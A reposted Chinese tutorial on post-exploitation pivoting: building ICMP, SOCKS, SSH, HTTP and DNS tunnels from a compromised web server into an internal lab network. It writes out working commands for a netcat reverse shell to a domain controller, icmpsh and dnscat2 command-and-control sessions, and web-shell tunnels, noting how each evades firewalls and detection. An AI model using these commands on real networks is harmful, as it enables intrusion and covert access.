智能汽车安全新媒体
在我们获取外网Webshell后,我们想要深入内网,这时候该怎么做呢?
如果我们获取的外网webshell具有双网卡,即一张是外网IP,一张是内网IP,我们此时就可以通过搭建隧道来实现在攻击机上面访问内网资源,从而进行内网漫游。
简单的说也就是隧道是内网的通信证,只有拥有隧道,我们才有资格进入内网漫游。
搭建内网隧道一般利用的有三层,应用层,传输层,网络层,接下来依次进行介绍。
网络层
ICMP隧道
ICMP(Internet Control Message Protocol)Internet 控制报文协议,用于在 IP 主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。
ICMP通过PING
命令访问远程主机,并建立ICMP隧道,将TCP/UDP报文封装到ICMP的数据包中,传输给远程计算机,由于防火墙不会拦截数据包,计算机在接收数据包后解出其中隐藏的命令,在执行后把数据放入回复包中发给攻击者。这也是它与其他协议不同的地方,我们也可以借此实现不受限制的访问。
工具很常见,就不对其进行介绍了,这里直接说一下使用方法。
举个例子:
外网服务器(攻击机):192.168.1.9
内网外网双网卡kali:192.168.1.11、1.1.1.12
内网Win server2008:1.1.1.10
在双网卡kali上运行
ptunnel -x 123456 //启动服务端,密码为123456
在外网服务器上运行
ptunnel -p 192.168.1.11 -lp 1080 -da 1.1.1.10 -dp 3389 -x 123456
// -x 指定连接密码
// -p 指定icmp连接的另一端的ip地址
// -lp 监听的本地tcp端口
// -da 指定要转发到的机器的IP地址
// -dp 指定要转发到的机器的tcp端口
这里的含义简单的理解就是,我们将1.1.1.10
的3389端口
封装到了192.168.1.11
的1080
端口中,而192.168.1.11
的数据通过ICMP协议与我们的外网服务器进行实时共享,此时我们就可以通过访问服务器的1080端口,即192.168.1.9:1080
来访问到1.1.1.10:3389
接下来实操一下。
我们这里的环境如下
DC: VMet8(192.168.183.130)
Web(Ubuntu): VMet4、VMet8(192.168.1.130、192.168.183.129)
Win7: VMet8(192.168.183.131)
Kali:Vmet4 192.168.1.4
拓扑图
这里我们通过pingtunnel
工具实现将Win7的3389端口封装到ubuntu
中,再将ubuntu
的icmp
数据报封装到192.168.1.4
的1080端口中。
现在假设我们拿到
Ubuntu安装ptunnel
,具体过程如下
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
sudo make
sudo make install
此时编译会报错,因为需要安装libpcap依赖,ptunnel需要借助libpcap捕获数据包,所以我们接下来安装libpcap
,具体指令如下
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
sudo make
sudo make install
安装完成后可以用指令man pcap
来检验
此即说明安装成功。而后再去编译ptunnel文件,接下来运行ptunnel可能会提示没有so文件,像这样
此时我们只需要去做如下三步即可
1.执行 locate libpcap.so.1,查看libpcap.so.1在系统中的路径
2.随后以管理员权限打开编辑 /etc/ld.so.conf文件, 末尾追加libpcap的路径
3.以管理员权限执行 ldconfig命令加载配置
而后再开启即可成功
服务端启动成功,接下来对Kali进行操作,将Win7
的3389
封装到192.168.1.130
中,然后将ICMP
数据报封装到kali
的1080端口中
接下来我们再开启一个终端,连接1080端口
此时在Ubuntu可以看到
提示连接了win7
下的3389端口(结果),不过我这里用的是之前的靶场环境,管理员密码忘了,所以未开启RDP服务,在这里就不演示远程登录了。
首先在外网服务器(攻击机)下安装工具
安装指令如下
git clone https://github.com/bdamele/icmpsh.git
apt-get install python-impacket
sysctl -w net.ipv4.icmp_echo_ignore_all=1
这里因为是模拟,我用的是kali
来作为攻击机,使用apt-get
安装impacket
的时候遇到了警告,按理说这个是不影响的,但去执行
./imcpsh_m.py
还是提示需要先安装impacket
,最终解决方式为github下载impacket
如下
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python3 -m pip install .
python setup.py install
而后可正常使用
接下来演示一下使用方式
配置如下:
Kali 192.168.1.4
Winsever 2008 192.168.1.7
先打开Kali,开启服务
python icmpsh_m.py 192.168.1.4(本机) 192.168.1.2(公网IP,其实是受害机的防火墙IP,这里我们没防火墙,所以就是主机IP)
接下来打开受害机,执行连接操作
icmpsh.exe -t 192.168.1.4 -d 500 -b 30 -s 128
使用ICMP隧道的优势
1. 绕过防火墙限制:有些网络环境中,对于外部主机与内网主机进行直接的TCP连接可能被阻止或限制,但对于ICMP流量却没有严格的限制。因此,通过将TCP流量转换为ICMP流量,可以有效地绕过这些防火墙限制,实现与目标主机的连通。
2. 隐藏网络活动特征:由于ICMP流量相对常见且常被用于网络探测和传输简短消息等用途,在网络中存在大量ICMP流量的情况下,使用ICMP隧道传输数据相对不容易引起威胁检测系统的注意,进一步隐藏了恶意活动的特征。
3. 网络兼容性:不同网络环境中对ICMP流量的处理方式相对统一和宽松,因此ICMP隧道在不同的网络中具有较好的兼容性,提高了木马上线成功的几率。
lcx常常用来端口转发,比如我们拿下一台内网机器,但是无法主动连接内网主机,此时可以通过lcx进行端口转发,例如将内网的3389映射出来到公网ip的某端口下,此时即可连接到内网主机,突破私有IP限制。
这里进行简单示例,现有环境如下:
Win11 192.168.1.1
WIn7 192.168.1.8
Kali 192.168.1.4
注:这里只是为了方便,故用同一C段下的,实际情况至少应该是一内网一外网的。
在Win11进行如下操作
lcx.exe -slave 公网IP 公网IP对应端口 127.0.0.1 本机端口
lcx.exe -slave 192.168.1.8 2222 127.0.0.1 3389
来到Win7,执行监听操作
lcx.exe -linsten 2222 3333
接下来我们使用kali机器连接192.168.1.8
的3333端口
rdesktop 192.168.1.8:3333
端口转发成功,成功连接
这种情况常常用于防火墙限制,比如部分端口如3389无法通过防火墙,此时可以将该目标主机的3389端口透传到防火墙允许的其他端口,如6666端口。
此种情况我们可在目标主机下执行如下指令:
lcx -tran 6666 目标主机ip 3389
nc是netcat的简写,因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具。可以用来反弹shell、传输文件、端口扫描等。
我们这里的话主要介绍其内网代理的作用,当我们获取边缘机权限又拿下一个内网主机后,因为内网主机不可直连,此时我们可以通过边缘机作为跳板机,利用nc实现获取内网主机shell
具体示例如下
本次演示环境如下:
DC(域控):192.168.183.130
Ubuntu(边缘机): 192.168.1.130 192.168.183.129
Kali(攻击机): 192.168.1.4
首先在Kali上执行监听指令
nc -lvnp 5555
接下来来到DC,执行如下指令
nc -lvnp 6666 -e C:\Windows\System32\cmd.exe
然后来到跳板机,执行连接指令
nc -v 192.168.1.4 5555 -c "nc -v 192.168.1.130 6666"
此时成功在kali获取到内网DC机权限
应用层
Socks5隧道
./ew_for_linux64 -s ssocksd -l 1080
这里假设我们的Ubuntu
为内网机,Kali
为外网服务器,此时内网机没有公网IP地址,但可出网,此时我们想要继续探测内网,可以借助Ubuntu搭建socks隧道实现,具体过程如下
首先在Kali上执行如下命令,监听1080端口,并将8888端口收到的数据转发到1080端口
./ew_linux_x64 -s rcsocks -l 1080 -e 8888
接下来来到Ubuntu,主动连接Kali
机的8888端口
sudo ./ew_for_linux64 -d 192.168.1.4 -s rssocks -e 8888
此时Kali端收到代理连接成功,使用代理工具proxifier
测试也成功连接
当我们遇到此种情况时可以使用:
边缘机:只能访问到Winserver2008,无法访问DC和其他域成员
Winserver2008: 可以访问内网主机
域控DC
内网存在多台主机,边缘机可以访问Winserver2008,但无法访问其他域成员,而Winserver2008无法出网,但可以访问DC机,此时我们就可以在边缘机建立一个正向连接,Winserver连接边缘机,而后便可通过此隧道进行通信,进而访问域内主机。
在这里简单演示一下
假设我们Ubuntu
为上种情况中的Winserver2008
,Kali
为边缘机
首先在Ubuntu
机器上开启监听,监听端口为9999端口
./ew_for_linux64 -s ssocksd -l 9999
接下来来到kali
机,连接Ubuntu
的9999端口,并转发至1080端口
./ew_linux_x64 -s lcx_tran -l 1080 -f 192.168.1.130 -g 9999
此时用随便一台主机设置socks代理,连接kali
的1080端口
建立连接成功。
在二级级联的情况下增加一条限制,限制边缘机没有外网网卡,具体环境如下
外网服务器
Kali:没有外网网卡,只可出网和访问域成员Ubuntu,不能访问域控
Ubuntu: 不可出网,可以访问域控等其他域成员
DC
此时我们该怎么做呢,我们可以设置三级级联,即在外网服务器监听端口并转发至另一端口,然后在Ubuntu
上也主动监听一个端口,接下来利用Kali
同时连接外网服务器
和Ubuntu
,此时隧道即搭建成功,实现外网服务器->Kali->Ubuntu->DC
,可以访问内网主机。
具体演示如下(这里为方便起见,IP未更改,实际上Win10的IP与内网主机不是互通的,且内网三台机器应该都为192.168.183.xxx这种):
Win10:192.168.1.9 作为外网服务器
Kali:192.168.1.4 内网可出网机器
Ubuntu:192.168.1.130 192.168.183.129可访问DC
DC:192.168.183.130 部署有http服务
首先我们在Win10上开启9999监听,并转发到1080端口
./ew -s lcx_listen -l 1080 -e 8888
接下来来到Ubuntu,监听本地的9999端口
./ew_for_linux64 -s ssocksd -l 9999
接下来来到Kali机,连接Win10和Ubuntu
./ew_linux_x64 -s lcx_slave -d 192.168.1.9 -e 8888 -f 192.168.1.130 -g 9999
至此,隧道搭建完成,此时我们可通过Win10
的1008
端口访问内网服务,这里使用proxifier进行测试
成功连通,接下来我们在内网开启http服务
接下来我们尝试访问DC服务
成功访问。
SSH隧道
SSH(Secure Shell protocol)协议是应用层协议,OpenSSH 是SSH (Secure SHell)协议的免费开源实现,SSH协议族可以用来进行远程控制,或在计算机之间传送文件。这是它的常见使用方式,我们这里主要将它的隧道技术,一共有三种方式:本地转发、远程转发、动态转发。接下来一一进行简单讲解
SSH的有关参数如下,这里先剧透一下
ssh参数详解:
-C Enable compression 压缩数据传输
-q Quiet mode. 安静模式
-T Disable pseudo-tty allocation. 不占用 shell
-f Requests ssh to go to background just before command execution. 后台运行,并推荐加上 -n 参数
-N Do not execute a remote command. 不执行远程命令,端口转发就用它
-L port:host:hostport 将本地机(客户机)的某个端口转发到远端指定机器的指定端口.
-R port:host:hostport 将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口.
-D port 指定一个本地机器动态的应用程序端口转发.
-g port 允许远程主机连接到建立的转发的端口,如果不加这个参数,只允许本地主机建立连接
在前文的参数介绍中已经简单讲解了本地转发所用的参数,没错,就是-L
参数,其具体使用方法如下
ssh -L 本机端口:远程主机:目的端口 跳板机
具体示例如下:
我们当前有如下环境
我们在Kali
上搭建一条SSH隧道,以Ubuntu为跳板机,连接DC的3389端口,具体指令如下
ssh -CfNg -L 6666:192.168.183.130:3389 ubuntu@192.168.1.130
这条指令的具体含义是:将DC
的3389端口流量通过Ubuntu
跳板机转发至Kali
机的6666
端口,执行指令
接下来打开kali
另一终端,输入
rdesktop 192.168.1.4:6666
此时成功连接DC
主机。
我们观察本地端口转发使用的环境,可以发现是有一台跳板机可以通外网和内网的,但如果现有环境,不存在这样一台跳板机的时候,我们该如何用外网机访问内网服务呢,此时就用到了我们的远程端口转发。我们可以在内网机器执行我们的远程端口转发指令,将内网的某个端口流量转发到外网的某个端口上,从而实现外网访问内网服务。
具体指令如下
ssh -CfNg -R 远程端口:本机IP:本机服务端口 远程IP
示例如下
拓扑图同本地端口转发,因为我们这里只是演示,简便起见,所以这里假设ubuntu
为单网卡环境(只配内网网卡),kali
为我们的外网服务器,接下来我们在ubuntu
下先开启个服务,以便待会演示成果,我这里起一个http
服务
接下来执行远程端口转发,我们在kali
机器上执行如下指令
ssh -CfNg -R 2222:192.168.1.130:8000 quan9i@192.168.1.4
输入指令后隧道搭建完成,接下来我们在kali机中访问本机的2222端口
成功访问到,这里不能通过192.168.1.4:2222
访问是因为默认配置情况下只允许远程端口绑定在环回地址(127)上,想实现192访问的话,可以在外网服务器的sshd配置文件中启用"GatewayPorts"项,它的默认值为no,将它改为yes即可。
注:还有一种情况,当存在多层内网环境时,如果机器出网,我们可以直接通过远程端口转发将本机服务与外网连接,不需要通过多层代理来实现访问此机器。
这个指令常常用于访问一些远程主机可以访问到,但本机访问不到的东西,这里就以HTB为例,我们在打HTB靶场时,给出的VPN链接我们可以通过外网服务器进行连接,但我们想本机也去访问靶机服务,这个时候就用到了动态端口转发
这里以之前打靶的机器为例来讲解:
kali: 192.168.1.129
在kali连接过HTB靶场的VPN后,这里在物理机(本机)上直接输入
ssh -D 1008 root@192.168.1.129
此时隧道搭建完毕,我们通过浏览器配置代理为 本机的1080端口
此时可以成功访问靶场
HTTP隧道
Neo-reGeorg是一个旨在积极重构 reGeorg的项目,由于之前的工具特征容易被检测,连接相对此工具不够稳定等原因,因此我们这里不再演示reGeorg
的使用方法,以此工具为例讲解,这两个其实使用方法是差不多的。
这种工具适用的场景是什么呢,在这里举个简单例子:现在存三台机器,具体如下
攻击机Kali:外网网卡
域内成员机:内网外网双网卡
DC:内网网卡
我们此时在域内成员机上传了webshell,但出于某些原因无法反弹shell,也无法获取主机权限,此时我们无法正常的通过域内成员机访问DC,此时我们就可以在域内成员机上上传reGeorg
木马,使得攻击机的请求通过域内成员机的HTTP转发,实现攻击机和DC进行通信。
具体示例如下:
Kali:192.168.1.4
Ubuntu:192.168.1.130 192.168.183.129
DC:192.168.183.130
首先我们在服务端下载此项目,项目链接如下
https://github.com/sensepost/reGeorg
接下来我们首先在攻击机Kali上部署
python3 neoreg.py generate -k qwq
--k qwq的意思是指密钥为qwq
然后将木马文件上传至Ubuntu
受害机
接下来我们这里用python起一个http服务
模拟Web服务
python3 -m http.server
开放端口为8000,因此我们接下来在kali上面访问8000端口的木马文件进行连接
python3 neoreg.py -k qwq -u http://192.168.1.130:8000/tunnel.asp
此时可以发现socks5
隧道已建立在本机的1080
端口,在linux中通过proxychains
可以连接隧道探测DC机,在Windows中也可以通过proxifier
设置socks代理实现内网探测。
安装连接如下
https://github.com/ehang-io/nps/releases/tag/v0.26.10
这里直接在安装过程顺带演示NPS使用方式:
使用环境
Win10 192.168.1.9
Ubuntu 192.168.1.130 192.168.183.129
外网服务器 119.x.x.x
DC 192.168.183.130
首先在外网服务器上安装NPS服务端
安装好后需要修改配置文件
vim conf/nps.conf
这里修改一下http和https的代理端口,防止端口重复引发报错
然后修改我们Web端的host地址,这里修改为我们的ip或是域名均可,密码自定义,端口可改可不改
接下来保存退出,然后执行如下指令
./nps install
./nps start
此时服务端部署完成,访问IP:端口
接下来进入后新增一个客户端,这里主要是为了生成验证密钥,只有我们有这个密钥才可以将NPS的服务端与客户端进行连接,因此至少也要添加一个
可以看到成功生成
接下来配置服务端
首先在服务端Ubuntu下载Npc
而后编辑配置文件,具体指令如下
vim conf/npc.conf
修改服务端地址为外网服务器地址,修改密钥为刚刚生成的密钥,而后连接服务端
./npc -config=conf/npc.conf
此时在Web端可以发现客户端已连接,配置socks5连接,客户端ID与刚刚生成密钥的ID要对应,服务器端口给一个不重复端口即可
此时可以看到在线,即隧道搭建成功
接下来用proxifier进行测试
接下来连接DC
此时发现可以连接,隧道搭建成功
suo5是新型的HTTP
隧道代理工具,其支持图形化和命令行两种格式,速度相对Neo-reGeorg
要快上许多,而且该工具安全性较高,相对其他较老的工具不易被查杀,但缺点是只支持jsp
,接下来简单演示一下使用方法。
首先找一个JAVA站点,可上传JSP文件的,我们这里以存在Weblogic
漏洞站点的Win7
为例,开启Weblogic服务后,上传suo5
文件。
接下来我们打开图形化suo5工具,输入JSP地址,可以发现全双工模式已开
成功实现sock5代理,接下来可以使用proxifier等代理工具实现访问内网其他主机
DNS隧道
什么是DNS?
DNS协议是一种请求应答协议,也是一种可用于应用层的隧道技术。虽然DNS流量的异常变化可能会被发现,但是在基于传统socket隧道已经濒临淘汰,TCP、UDP通信大量被安全设备拦截的大背景下,DNS、ICMP、HTTP/HTTPS等难以禁用的协议已经成为攻击者使用隧道的主流选择。
使用它的优点?
选择DNS协议作为通信隧道的主要优势在于:一方面,DNS是网络环境中必不可少的服务,另一方面,由于防火墙和IDS设备本身较少存在过滤DNS流量的行为,使得DNS报文本身具有了穿越WAF的能力。同时,越来越多的研究数据也证明了DNS隧道在APT攻击和僵尸网络中扮演着重要角色。
DNS隧道的工作方式如下
1、受害机访问恶意域名,这里假设为qwq.com
2、本地DNS查询无果,在互联网中发起查询
3、此时DNS请求找到攻击者提前部署好的恶意DNS服务器,实现受害机与恶意DNS服务器的连接
对于DNS隧道,我们这里配置工具前首先需要拥有一台公网服务器和一个域名,公网服务器需要开放udp、tcp53端口,对于域名,我们需要设置A记录以及NS记录,具体如下
接下来验证解析是否成功,使用PINGns.xxx
来进行测试,成功则说明解析成功,如下图
接下来在外网服务器上监听53
端口
tcpdump -n -i eth0 udp dst port 53
本机nslookup
刚刚设置的记录值,服务器若有信息交互则成功,示例如下
接下来就到了工具安装时刻了
首先是服务端安装
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install
此时安装完成,即可开启服务端服务,代码如下
sudo ruby ./dnscat2.rb dns.xx.xx -c qwq
// dns.xx.xx为之前域名上新建的记录名
-c 指定连接密码
接下来来到客户端,执行代码如下
.\dnscat2-v0.07-client-win32.exe --secret=qwq dns.xx.xx
此时提示连接成功,回到外网服务器端,可以发现有一个连接被创建了,我们此时输入session -i 1
,可以进入客户端机器
接下来输入shell
,而后创建第二个连接,此时输入session -i 2
即可进入shell终端
结语
本文旨在简单介绍一下隧道搭建即常用工具
文章来源:
https://mp.weixin.qq.com/s/5h2fD5Zayqqk-cemUlQzzA
- THE END -
因文章部分文字及图片涉及到引用,如有侵权,请及时联系17316577586,我们将删除内容以保证您的权益。